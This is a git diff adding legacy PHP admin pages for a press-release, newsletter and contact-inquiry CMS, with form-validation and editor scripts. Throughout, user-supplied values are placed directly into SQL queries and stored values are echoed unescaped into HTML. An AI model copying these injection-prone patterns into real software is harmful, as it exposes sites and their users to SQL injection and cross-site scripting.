+                       if(!$res = db_exec($conn,$qs)) 
+                       {
+                               html_error(DB_ERROR_MSG.$qs,0);
+                       }
+
+                       $counter = ($newpos + 1);
+                       for($i=0;$i<db_numrows($res);$i++) 
+                       {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   contact_inq
+                                       SET             pos = $counter
+                                       WHERE   id = $res_id";
+
+                               if(!db_exec($conn,$qs)) 
+                               {
+                                       html_error(DB_ERROR_MSG.$qs,0);
+                               }
+                               $counter++;
+                       }
+               }
+               else 
+               {
+                       $qs = "SELECT   pos,id
+                               FROM    contact_inq
+                               WHERE   pos > $pos
+                               AND             pos <= $newpos
+                               ORDER BY pos";
+
+                       if(!$res = db_exec($conn,$qs)) 
+                       {
+                               html_error(DB_ERROR_MSG.$qs,0);
+                       }
+
+                       $counter = ($pos);
+                       for($i=0;$i<db_numrows($res);$i++) 
+                       {
+                               $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+                               $res_id = $res_data['id'];
+                               $res_pos = $res_data['pos'];
+                               $qs = "UPDATE   contact_inq
+                                       SET             pos = $counter
+                                       WHERE   id = $res_id";
+
+                               if(!db_exec($conn,$qs)) 
+                               {
+                                       html_error(DB_ERROR_MSG.$qs,0);
+                               }
+                               $counter++;
+                       }
+               }
+               $qs = "UPDATE   contact_inq 
+                       SET             pos = $newpos
+                       WHERE   id = $id";
+
+               if(!db_exec($conn,$qs)) 
+               {
+                       html_error(DB_ERROR_MSG.$qs,0);
+               }
+               break;
+
+               case "Edit":
+                       $qs = "UPDATE   contact_inq
+                       SET             header = '$header',
+               image = '$image_name',
+               description = '$description'
+                       WHERE   id = $id;";
+
+               //echo $qs;
+               pg_Exec($conn,$qs);
+               break;
+
+               case "Add":
+                       $qs = "SELECT   MAX(pos) as maxpos
+                       FROM    contact_inq";
+
+               $res = db_exec($conn,$qs);
+               $row = db_fetch_array($res,0,PGSQL_ASSOC);
+               $nextpos = $row[maxpos];
+               $nextpos++;
+               $qs = "INSERT 
+                       INTO    contact_inq
+                       (header,description,image,pos)
+                       VALUES  ('$header','$description','$image_name',$nextpos);";
+
+               pg_exec($conn,$qs);
+               break;
+
+               case "Delete":
+                       $qs = "DELETE 
+                       FROM    contact_inq
+                       WHERE   id = $id";
+
+               pg_Exec($conn,$qs);
+               @unlink(ORIGINAL_PATH."/".$oldimage);
+               @unlink(RESIZED_PATH.$oldimage);
+               @unlink(THUMB_PATH.$oldimage);
+               @unlink(MIDSIZED_PATH.$oldimage);
+
+               $qs = "SELECT   pos,id 
+                       FROM    contact_inq
+                       WHERE   pos > $oldpos
+                       ORDER BY pos";
+
+               $res2 = db_exec($conn,$qs);
+               $oldcatid_counter = $oldpos;
+               for($i=0;$i<db_numrows($res2);$i++) 
+               {
+                       $row2 = db_fetch_array($res2,$i,PGSQL_ASSOC);
+                       $qs = "UPDATE   contact_inq
+                               SET             pos = $oldcatid_counter
+                               WHERE   id = $row2[id]";
+               }
+               db_exec($conn,$qs);
+
+               break;
+       }
+header("Location: contact_inquiry.phtml");
+?>
diff --git a/admin/Contact/verify.js b/admin/Contact/verify.js
new file mode 100644 (file)
index 0000000..a254639
--- /dev/null
@@ -0,0 +1,72 @@
+function isblank(s) {
+       for(var i = 0; i < s.length; i++) {
+               var c = s.charAt(i);
+               if((c != ' ') && (c != '\n') && (c != '\t'))
+                       return(false);
+       }
+       return(true);
+}
+
+function verify(f) {
+       var msg;
+       var empty_fields = "";
+       var errors = "";
+
+       for(var i = 0; i < f.length; i++) {
+               var e = f.elements[i];
+               if(((e.type == "text") || (e.type == "textarea")) && !e.optional) {
+                       if((e.value == null) || (e.value == "") || isblank(e.value)) {
+                               empty_fields += "\n             " + e.r;
+                               continue;
+                       }
+
+                       if(e.d) {
+                               if(isNaN(Date.parse(e.value)))
+                                       errors += "- The field " +e.r+" must be formated like 01/17/2001\n";
+                       }
+                       if(e.numeric || (e.min != null) || (e.max != null)) {
+                               if(e.i) {
+                                       var v = parseInt(e.value);
+                                       if(v != e.value) {
+                                               errors += "- The field " +e.r + " must be a ";
+                                               errors += "number with no decimal\n";
+                                               continue;
+                                       }
+                               }
+                               else
+                                       var v = parseFloat(e.value);
+                               if(isNaN(v) ||
+                                       ((e.min != null) && (v < e.min)) ||
+                                       ((e.max != null) && (v > e.max))) {
+
+                                       errors += "- The field " + e.r + " must be a number";
+                                       if(e.min != null)
+                                               errors += " that is greater than " + e.min;
+                                       if(e.max != null && e.min != null)
+                                               errors += " and less than " + e.max;
+                                       else if (e.max != null)
+                                               errors += " that is less than " + e.max;
+                                       errors += ".\n";
+                               }
+                       }
+               }
+       }
+
+       if(!empty_fields && !errors)
+               return(true);
+
+       msg = "_____________________________________________________\n\n";
+       msg +="The form was not submitted because of the following error(s).\n";
+       msg +="Please correct these error(s) and re-submit.\n";
+       msg +="_____________________________________________________\n\n";
+
+       if(empty_fields) {
+               msg += "- The following required field(s) are empty:"
+                               + empty_fields + "\n";
+               if(errors)
+                       msg += "\n";
+       }
+       msg += errors;
+       alert(msg);
+       return(false);
+}
diff --git a/admin/Contact/view_newsletter.phtml b/admin/Contact/view_newsletter.phtml
new file mode 100644 (file)
index 0000000..feb057a
--- /dev/null
@@ -0,0 +1,23 @@
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+define("STYLE","main.css");
+if($id == '')
+$id = 1;
+top("AutoReponse for Newsletter", HELP_BASE."response.phtml?key=edit+section");
+html_nav_table($nav,$navWidth);        
+
+echo'<iframe src="preview.phtml?id='.$id.'"
+width="780" height="480"
+align="center">
+</iframe>
+
+  </td>
+</tr>
+</table>';
+
+footer();
+?>
+
+
+
diff --git a/admin/Contact/wm.js b/admin/Contact/wm.js
new file mode 100644 (file)
index 0000000..7a7323e
--- /dev/null
@@ -0,0 +1,13 @@
+function glm_open(o) {
+       var x = (screen.width/2) - (o.width/2);
+       var y = (screen.height/2) - (o.height/2);
+       var args = "width="+o.width+",height="+o.height+",screenX="+x+",screenY="+y+",top="+y+",left="+x;
+       if(o.scroll == true)
+               args += ",scrollbars=1";
+       //args += "\'";
+       //alert(args);
+       pow=window.open(o.url,o.name,args);
+       //confirm(args);
+       if (pow.opener == null)
+               pow.opener = self;
+}
diff --git a/admin/Press/cktoolbox.js b/admin/Press/cktoolbox.js
new file mode 100755 (executable)
index 0000000..38614e6
--- /dev/null
@@ -0,0 +1,55 @@
+var CkToolbox =
+{
+    init: function()
+    {
+        if ($('#description').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('description',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+        if ($('#intro').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('intro',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+        if ($('#response').is('textarea')) {
+            //  Only try to replace the textarea if the
+            //  CKEditor is compatible w/ the browser.
+            if (CKEDITOR.env.isCompatible) {
+                CKEDITOR.replace('response',
+                    {
+                        toolbar : 'Default',
+                        width : 570,
+                        height : 400,
+                        filebrowserImageBrowseUrl : '../../Toolkit/CKImages/browser.php?folder=1',
+                        filebrowserImageUploadUrl : '../../Toolkit/CKImages/connector.php?command=Upload',
+                                               filebrowserImageWindowWidth : '760',
+                                               filebrowserImageWindowHeight : '500'
+                    });
+            }
+        }
+    }
+};
+$(document).ready(CkToolbox.init);
diff --git a/admin/Press/edit_autoresponse.phtml b/admin/Press/edit_autoresponse.phtml
new file mode 100755 (executable)
index 0000000..c144806
--- /dev/null
@@ -0,0 +1,77 @@
+<?
+include("../../setup.phtml");
+
+top("AutoReponse for Newsletter", HELP_BASE."response.phtml?key=edit+section");
+
+if(!$dbd = db_connect(CONN2_STR)) html_error(DB_ERROR_MSG, 1);
+
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+
+if(!db_exec($dbd, $qs))
+       html_error(DB_ERROR_MSG, 1);
+
+$qs = "SELECT   id,subject,response
+          FROM         pressnews_response
+          WHERE        id = $id";
+
+if(!$res = db_exec($dbd, $qs)) html_error(DB_ERROR_MSG,1);
+
+
+echo "<table bgcolor=\"#c0c0c0\" cellspacing=0 cellpadding=4
+       summary=\"info table\" width=400 align=center border=0>";
+
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+?>
+<script src=<?echo URL_BASE."admin/verify.js"?>></script>
+<tr><td>
+<form enctype="multipart/form-data" action="update_autoresponse.phtml" method="POST"
+
+onSubmit="
+this.response.optional = false;
+this.response.r = 'Description';
+this.subject.optional = false;
+this.subject.r = 'Subject';
+return(verify(this))
+"></td></tr>
+<?
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+
+       foreach($row as $key=>$value) {
+               switch($key) {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "subject":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Subject:</td>";
+                       text_box("subject",$value);
+                       echo "</tr>";
+               break;
+
+               case "response":
+                       echo "<tr><td class=\"navtd\" align=\"right\">Response:</td>";
+            echo '<td><textarea name="response" id="response" cols="60" rows="60">'.$value.'</textarea></td>';
+                       echo "</tr>";
+               break;
+
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+               }
+       }
+}
+?>
+<tr><td></td><td NOWRAP>
+<input type="submit" name="Command" value="Update">
+</form>
+</td></tr>
+</table>
+<?
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+footer();
+?>
diff --git a/admin/Press/edit_block.phtml b/admin/Press/edit_block.phtml
new file mode 100755 (executable)
index 0000000..c6cd229
--- /dev/null
@@ -0,0 +1,132 @@
+<?php
+include("../../setup.phtml");
+if($news_id)
+{
+       $qs = "select header from pressnews where id = $news_id";
+       $news_res = db_auto_array($qs,0,PGSQL_ASSOC);
+       if(!$news_res)
+       {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+}
+if($id)
+{
+       top("$news_res[header] (Edit/Delete)", HELP_BASE."item.phtml?key=edit+section");
+}
+else
+{
+       top("$news_res[header] (Edit/Delete)", HELP_BASE."item.phtml?key=add+section");
+}
+if($id)
+{
+       if(!$dbd = db_connect())
+       {
+               html_error(DB_ERROR_MSG, 1);
+       }
+       $qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+       if(!db_exec($dbd, $qs))
+       {
+               html_error(DB_ERROR_MSG, 1);
+       }
+       $qs = "select id,header,description,image,pos from pressnews_block where pressnews_id = $news_id and id = $id";
+       if(!$res = db_exec($dbd, $qs))
+       {
+               html_error(DB_ERROR_MSG,1);
+       }
+       $row = db_fetch_array($res,0, PGSQL_ASSOC);
+       if(!$row[id])
+       {
+               html_error(DB_ERROR_MSG,1);
+       }
+}
+else
+{
+       $row["header"] = "";
+       $row["description"] = "";
+       $row["image"] = "";
+}
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+?>
+<script src=<?echo URL_BASE."admin/verify.js"?>></script>
+<form enctype="multipart/form-data" action="update_block.phtml" method="POST"
+onSubmit="
+this.description.optional = false;
+this.description.r = 'Description';
+this.header.optional = true;
+this.image.optional = true;
+return(verify(this))
+       ">
+<table id="admin-edit-table">
+<?
+foreach($row as $key=>$value)
+{
+               switch($key)
+               {
+                       case "id":
+                               echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+                       break;
+                       case "header":
+                               echo "<tr><td class=\"navtd\" align=\"right\">Header:</td>";
+                       text_box("header",$value);
+                       echo "</tr>";
+                       break;
+                       case "image":
+                               echo "<tr><td class=\"navtd\" align=\"right\">Current Image:</td>";
+                       echo "<td class=\"navtd2\">
+                               <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+                       if($value != "") {
+                               echo "<img src=\"".MIDSIZED."$value\">
+                                       </td>
+                                       <tr>
+                                       <td class=\"navtd\" align=\"right\">Delete this image:</td>
+                                       <td>
+                                       <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+                                       <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+                                       </td>
+                                       </tr>";
+                       }
+                       echo "<tr><td align=\"right\">
+                               New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+                       break;
+                       case "description":
+                               echo "<tr><td class=\"navtd\" align=\"right\">Description:</td>";
+            echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$value.'</textarea></td>';
+                       echo "</tr>";
+                       break;
+                       case "pos":
+                               $pos = $value;
+                       echo "<input type=\"hidden\" name=\"pos\" value=\"$value\">";
+                       break;
+                       default:
+                       html_error("Incorrect Value -> ".$key,1);
+                       break;
+       }
+}
+if($id)
+{
+       ?>
+               <tr><td colspan="2" nowrap="nowrap">
+               <input type="hidden" name="id" value="<?echo $id?>">
+               <input type="hidden" name="pos" value="<?echo $pos?>">
+               <input type="hidden" name="catid" value="<?echo $catid?>">
+               <input type="hidden" name="news_id" value="<?echo $news_id?>">
+               <input type="submit" name="Command" value="Update">
+               <input type="submit" name="Command" value="Delete">
+               </td></tr>
+               <?
+}
+else
+{
+       ?>
+               <tr><td colspan="2" nowrap="nowrap">
+               <input type="hidden" name="catid" value="<?echo $catid?>">
+               <input type="hidden" name="news_id" value="<?echo $news_id?>">
+               <input type="submit" name="Command" value="Insert">
+               </td></tr>
+               <?
+}
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+?>
+</table>
+</form>
+<?php footer();?>
diff --git a/admin/Press/edit_news.phtml b/admin/Press/edit_news.phtml
new file mode 100755 (executable)
index 0000000..d5d85d6
--- /dev/null
@@ -0,0 +1,256 @@
+<?php
+require_once "../../setup.phtml";
+$qs = "select header from pressnews_category where id = $catid";
+$cat_res = db_auto_array($qs,0,PGSQL_ASSOC);
+if(!$cat_res)
+{
+       html_error(DB_ERROR_MSG.$qs,1);
+}
+if($id)
+{
+       top2("$cat_res[header] (Edit/Delete)", HELP_BASE."item.phtml?key=edit");
+}
+else
+{
+       top2("$cat_res[header] (Edit/Delete)", HELP_BASE."item.phtml?key=add");
+}
+function catid_select($dbd,$catid)
+{
+       // select catid portion
+       $qs = "select id,header from pressnews_category";
+       if(!$cat_res = db_exec($dbd, $qs))
+       {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+       $select = "<select name=\"catid\">";
+       for($x = 0; $x < db_numrows($cat_res); $x++)
+       {
+               if(!$row = db_fetch_array($cat_res,$x, PGSQL_ASSOC))
+               {
+                       html_error(DB_ERROR_MSG.$qs,1);
+               }
+               $select .= "<option value=\"$row[id]\"";
+               if($row[id] == $catid)
+               {
+                       $select .= " SELECTED";
+               }
+               $select .= ">$row[header]";
+       }
+       $select .= "</select>";
+       return($select);
+}
+$lnav = array(
+"List Items"   => "list_news.phtml?catid=$catid",
+"View Item"            => "view_news.phtml?catid=$catid&id=$id",
+"Delete This Item"     => array (
+       "update_news.phtml?Command=Delete&id=$id&catid=$catid",
+       "onClick=\"
+       if(confirm('You are Deleting this item and all sections Are you sure?')) {
+               return(true);
+       }
+       else {
+               return(false);
+       }\"")
+               );
+html_nav_table($lnav, 3);
+if(!$dbd = db_connect())
+{
+       html_error(DB_ERROR_MSG, 1);
+}
+if($id)
+{
+       $qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+       if(!db_exec($dbd, $qs))
+       {
+               html_error(DB_ERROR_MSG.$qs, 1);
+       }
+       $qs = "SELECT   id,title,header,web,isp,about,catid,pr_date,status,intro,description,image
+                  FROM         pressnews
+                  WHERE        id = $id";
+       if(!$res = db_exec($dbd, $qs))
+       {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+       if(!$row[id])
+       {
+               html_error(DB_ERROR_MSG,1);
+       }
+}
+else
+{
+       $row["title"] = "";
+       $row["header"] = "";
+       $row['web'] = '';
+       $row['isp'] = '';
+       $row['about'] = '';
+       $row["catid"] = "$catid";
+       $row["pr_date"] = "$date";
+       $row["intro"] = "";
+       $row["description"] = "";
+       $row["image"] = "";
+}
+if($id)
+{
+       $qs = "select pr_date from pressnews where catid = $catid and id != $id order by pr_date";
+       if(!$date_res = db_exec($dbd,$qs))
+       {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+       $check_date = array();
+       for($ab=0;$ab<db_numrows($date_res);$ab++)
+       {
+               $date_data = db_fetch_array($date_res,$ab,PGSQL_NUM);
+               $check_date = array_merge($check_date,$date_data);
+       }
+}
+else
+{
+       $qs = "select pr_date from pressnews where catid = $catid order by pr_date";
+       if(!$date_res = db_exec($dbd,$qs))
+       {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+       $check_date = array();
+       for($ab=0;$ab<db_numrows($date_res);$ab++)
+       {
+               $date_data = db_fetch_array($date_res,$ab,PGSQL_NUM);
+               $check_date = array_merge($check_date,$date_data);
+       }
+}
+$date = date("m/d/Y");
+$day = date("d");
+$month = date("m");
+$year = date("Y");
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+?>
+<form name="myForm" enctype="multipart/form-data" action="update_news.phtml" method="POST">
+<table id="admin-edit-table">
+<?
+foreach($row as $key=>$value) {
+       switch($key) {
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+               case "header":
+                       echo "<tr><td align=\"right\">Header:</td>";
+                       text_box("header",$value,60);
+                       echo "</tr>";
+               break;
+               case "title":
+                       echo "<tr><td align=\"right\">Title:</td>";
+                       text_box("title",$value,60);
+                       echo "</tr>";
+               break;
+               case "catid":
+                       echo "<tr><td align=\"right\">Category</td>";
+                       $output = catid_select($dbd,$value);
+                       echo "<td>".$output."</td>";
+                       echo "</tr>";
+               break;
+               case "image":
+                       echo "<tr><td align=\"right\">Current Image:</td>";
+                       echo "<td>
+                       <input type=\"hidden\" name=\"oldimage\" value=\"$value\">";
+                       if($value != "") {
+                       echo "<img src=\"".MIDSIZED."$value\">
+                       </td>
+                       <tr>
+                       <td align=\"right\">Delete this image:</td>
+                       <td>
+                       <input type=\"radio\" name=\"delete\" value=\"1\">Yes
+                       <input type=\"radio\" name=\"delete\" value=\"2\" CHECKED>No
+                       </td>
+                       </tr>";
+                       }
+                       echo "<tr><td align=\"right\">
+                       New Image:</td><td><input type=\"file\" name=\"image\"></td></tr>";
+               break;
+               case "status":
+                       echo "<tr><td align=\"right\">Status:</td>";
+                       echo "<td><select name=\"status\">";
+                       echo "<option value=\"queued\"";
+                       if($value == "queued"){
+                               echo " selected";
+                       }
+                       echo ">Queued";
+                       echo "<option value=\"current\"";
+                       if($value == "current"){
+                               echo " selected";
+                       }
+                       echo ">Current";
+                       echo "<option value=\"archived\"";
+                       if($value == "archived"){
+                               echo " selected";
+                       }
+                       echo ">Archived";
+                       echo "</select></td>";
+                       echo "</tr>";
+               break;
+               case "pr_date":
+                       if (ereg ("([0-9]{1,2})/([0-9]{1,2})/([0-9]{4})", $value, $regs)) {
+                               $year = $regs[3];
+                               $day = $regs[2];
+                               $month = $regs[1];
+                       } else {
+                               $year = date("Y");
+                               $day = date("d");
+                               $month = date("m");
+                       }
+                       $date = date_entry($month,$day,$year,"month","day","year");
+                       echo "<tr><td align=\"right\">Release Date:</td>";
+                       echo "<td>".$date."</td>";
+                       echo "</tr>";
+               break;
+               case "intro":
+               echo "<tr><td align=\"right\">Intro:</td>";
+            echo '<td><textarea name="intro" id="intro" cols="60" rows="60">'.$value.'</textarea></td>';
+                       echo "</tr>";
+               break;
+               case "description":
+                       echo "<tr><td align=\"right\">Description:</td>";
+            echo '<td><textarea name="description" id="description" cols="60" rows="60">'.$value.'</textarea></td>';
+                       echo "</tr>";
+               break;
+               case "web":
+               case "about":
+               case "isp":
+                       echo '<tr><td align="right">'.ucfirst($key).':</td>';
+                       echo '<td>';
+                       echo '<label for="'.$key.'"><input type="checkbox" id="'.$key.'" name="'.$key.'" value="t"';
+                       if( $value == 't' ) {
+                               echo 'checked';
+                       }
+                       echo '>Yes</label>';
+                       echo '</td>';
+                       //text_area($key,$value);
+                       echo "</tr>";
+               break;
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+       }
+}
+if($id) {
+?>
+<tr><td></td><td NOWRAP>
+<input type="hidden" name="oldcatid" value="<?echo $catid?>">
+<input type="hidden" name="news_id" value="<?echo $news_id?>">
+<input type="hidden" name="Command" value="Update">
+<input type="submit" value="Update">
+</td></tr>
+</table>
+<?
+} else {
+?>
+<tr><td></td><td>
+<input type="hidden" name="Command" value="Insert">
+<input type="submit" name="Command" value="Insert">
+</td></tr>
+</table>
+<?
+}
+echo '</form>';
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+footer();
+?>
diff --git a/admin/Press/edit_news_category.phtml b/admin/Press/edit_news_category.phtml
new file mode 100755 (executable)
index 0000000..74d1e95
--- /dev/null
@@ -0,0 +1,71 @@
+<?php
+include("../../setup.phtml");
+if($id)
+{
+       top("Newsletters/Press-Releases (Add/Edit Category)", HELP_BASE."edit_media_category.phtml");
+}
+else
+{
+       top("Newsletters/Press-Releases (Add/Edit Category)", HELP_BASE."add_media_category.phtml");
+}
+$lnav = array( "Add A New Category"=> "edit_news_category.phtml", "List Categories"=>"list_news_category.phtml");
+html_nav_table($lnav, 2);
+if(!$dbd = db_connect())
+{
+       html_error(DB_ERROR_MSG, 1);
+}
+if($id)
+{
+       $qs = "SELECT   id,header
+                  FROM         pressnews_category
+                  WHERE        id = $id";
+
+       if(!$res = db_exec($dbd, $qs))
+       {
+               html_error(DB_ERROR_MSG,1);
+       }
+       $row = pg_fetch_array($res,0, PGSQL_ASSOC);
+}
+else
+{
+       $row["header"] = "";
+}
+echo '<script type="text/javascript" src="'.GLM_APP_BASE_URL.'ckeditor/current/ckeditor.js"></script>';
+echo "<form action=\"update_news_category.phtml\" method=\"POST\" enctype=\"multipart/form-data\">";
+echo '<table id="admin-edit-table">';
+foreach($row as $key=>$value)
+{
+       switch($key)
+       {
+
+               case "id":
+                       echo "<input type=\"hidden\" name=\"id\" value=\"$value\">";
+               break;
+
+               case "header":
+
+                       echo "<tr><td class=\"navtd\" align=\"right\">Name:</td>";
+                       text_box("header",$value);
+                       echo "</tr>";
+               break;
+
+               default:
+                       html_error("Incorrect Value -> ".$key,1);
+               break;
+       }
+}
+if($id)
+{
+       echo "<tr><td colspan=\"2\" align=center> <input type=\"SUBMIT\" name=\"Command\" value=\"Update\">";
+       echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+       echo "</td>";
+}
+else
+{
+       echo "<tr><td colspan=\"2\" align=center><input type=\"SUBMIT\" name=\"Command\" value=\"Insert\">";
+       echo "</td>";
+}
+echo "</table></form>";
+echo '<script type="text/javascript" src="./cktoolbox.js"></script>';
+footer();
+?>
diff --git a/admin/Press/export-images-is0.php b/admin/Press/export-images-is0.php
new file mode 100755 (executable)
index 0000000..bfa8305
--- /dev/null
@@ -0,0 +1,82 @@
+<?php
+require_once '../../setup.phtml';
+require_once BASE.'Toolkit/Image/Server.php';
+define('OLDORG', 'http://www.gaslightmedia.com/images/original/');
+$sql = "
+SELECT id,image
+FROM pressnews
+WHERE image != ''
+ORDER BY id";
+//$sql .= " LIMIT 1 OFFSET 0";
+$pre1 = "
+SELECT id,image
+FROM pressnews_block
+WHERE image != ''";
+//$pre1 .= " LIMIT 1 OFFSET 0";
+try {
+    $stmt  = $dbh->query($sql);
+    $data  = $stmt->fetchAll(PDO::FETCH_ASSOC);
+    $stmt2 = $dbh->query($pre1);
+    $data2 = $stmt2->fetchAll(PDO::FETCH_ASSOC);
+    echo '<pre>';
+    print_r($data);
+    print_r($data2);
+    echo '</pre>';
+} catch(PDOException $e) {
+    die($e->getMessage());
+}
+$dbh->beginTransaction();
+$IServer = new Toolkit_Image_Server();
+if (is_array($data)) {
+    $prep2 = "
+    UPDATE pressnews
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt3 = $dbh->prepare($prep2);
+
+    foreach ($data as &$row) {
+        $image_URL = OLDORG.$row['image'];
+        //die($image_URL);
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt3->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt3->bindParam(":id", $row['id'], PDO::PARAM_INT);
+                $stmt3->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+if (is_array($data2)) {
+    $prep3 = "
+    UPDATE pressnews_block
+    SET    image = :image
+    WHERE  id = :id";
+    $stmt4 = $dbh->prepare($prep3);
+    foreach ($data2 as &$row2) {
+        echo '<pre>'.print_r($row2, true).'</pre>';
+        if (preg_match("/^is/",$row2['image'])) {
+            continue;
+        }
+        $image_URL = OLDORG.$row2['image'];
+        echo '<pre>'.print_r($image_URL, true).'</pre>';
+        $image = $IServer->imageUpload($image_URL);
+        if ($image) {
+            try {
+                $stmt4->bindParam(":image", $image, PDO::PARAM_STR);
+                $stmt4->bindParam(":id", $row2['id'], PDO::PARAM_INT);
+                $stmt4->execute();
+            } catch(PDOException $e) {
+                die($e->getMessage());
+            }
+        }
+        echo '<br>Image Name Returned: ';
+        var_dump($image);
+    }
+}
+$dbh->commit();
+?>
diff --git a/admin/Press/list_news.phtml b/admin/Press/list_news.phtml
new file mode 100755 (executable)
index 0000000..ac7cce7
--- /dev/null
@@ -0,0 +1,98 @@
+<?php
+require_once "../../setup.phtml";
+$qs = "select header from pressnews_category where id = $catid";
+$catData = db_auto_get_data($qs, CONN_STR);
+top("{$catData[0]['header']} (List Items) ", HELP_BASE."list_media_category.phtml");
+$lnav = array(
+                       "Advance queued"        => array (
+       "update_news.phtml?Command=Advance&catid=$catid",
+       "onClick=\"
+       if(confirm('You are Advancing the queued item')) {
+       return(true);
+       }
+       else{
+       return(false)
+       }\""),
+                       "Add A New Item"        => "edit_news.phtml?catid=$catid",
+                       "List Categories"       => "list_news_category.phtml",
+               );
+html_nav_table($lnav, 4);
+if(!$dbd = db_connect()) 
+{
+       html_error(DB_ERROR_MSG,1);
+}
+if( $_GET['web'] && is_numeric( $_GET['press_id'] ) )
+{
+       $query = "update pressnews set web = '".$_GET['web']."' where id = ".$_GET['press_id'];
+       $res = db_exec($dbd,$query);
+}
+if( $_GET['isp'] && is_numeric( $_GET['press_id'] ) )
+{
+       $query = "update pressnews set isp = '".$_GET['isp']."' where id = ".$_GET['press_id'];
+       $res = db_exec($dbd,$query);
+}
+$qs2 = "set datestyle to 'sql, noneuropean'; select * from pressnews where catid = $catid order by status DESC,pr_date DESC";
+$res = db_exec($dbd,$qs2);
+if(!$res)
+{
+       html_error(DB_ERROR_MSG, 1);
+}
+echo '<table id="admin-list-table" style="width:700px;">
+       <tr>
+               <th>Options:</th>
+               <th>Web</th>
+               <th>ISP</th>
+               <th>Title</th>
+               <th>Date</th>
+       </tr>';
+$current_status = "";
+for($i = 0; $i < db_numrows($res); $i++) 
+{
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC); 
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+       if(!$row[id])
+               html_error(DB_ERROR_MSG,1);
+       if($current_status != $row[status]){
+               ?>
+               <tr>
+                 <td colspan="5" align="center">
+                 <strong><?echo ucfirst($row[status])?></strong></td>
+               </tr>
+               <?
+               $current_status = $row[status];
+       }
+       ?>
+       <tr>
+         <td align="left" nowrap>
+               <a href="view_news.phtml?id=<?echo $row[id]?>&catid=<?echo $catid?>">[Edit/Delete]</a>
+         </td>
+         <td>
+       <?php
+               $greenwebnogo = '<a href="'.$PHP_SELF.'?web=f&amp;catid='.$catid.'&amp;press_id='.$row["id"].'" title="Click to Unmark"><img alt="Click to Unmark" src="'.BASE_URL.'images/grnball.gif" border="0"></a>';  
+               $greenwebgo = '<a href="'.$PHP_SELF.'?web=t&amp;catid='.$catid.'&amp;press_id='.$row["id"].'" title="Click to Mark"><img alt="Click to Mark" src="'.BASE_URL.'images/redball.gif" border="0"></a>';  
+               $web = ( $row['web'] == 't' ) ? $greenwebnogo: $greenwebgo;
+               echo $web;
+       ?>
+         </td>
+         <td>
+       <?php
+               $greenispnogo = '<a href="'.$PHP_SELF.'?isp=f&amp;catid='.$catid.'&amp;press_id='.$row["id"].'" title="Click to Unmark"><img alt="Click to Unmark" src="'.BASE_URL.'images/grnball.gif" border="0"></a>';  
+               $greenispgo = '<a href="'.$PHP_SELF.'?isp=t&amp;catid='.$catid.'&amp;press_id='.$row["id"].'" title="Click to Mark"><img alt="Click to Mark" src="'.BASE_URL.'images/redball.gif" border="0"></a>';  
+               $isp = ( $row['isp'] == 't' ) ? $greenispnogo: $greenispgo;
+               echo $isp;
+        ?>
+         </td>
+         <td>
+               <?echo $row[title]?>
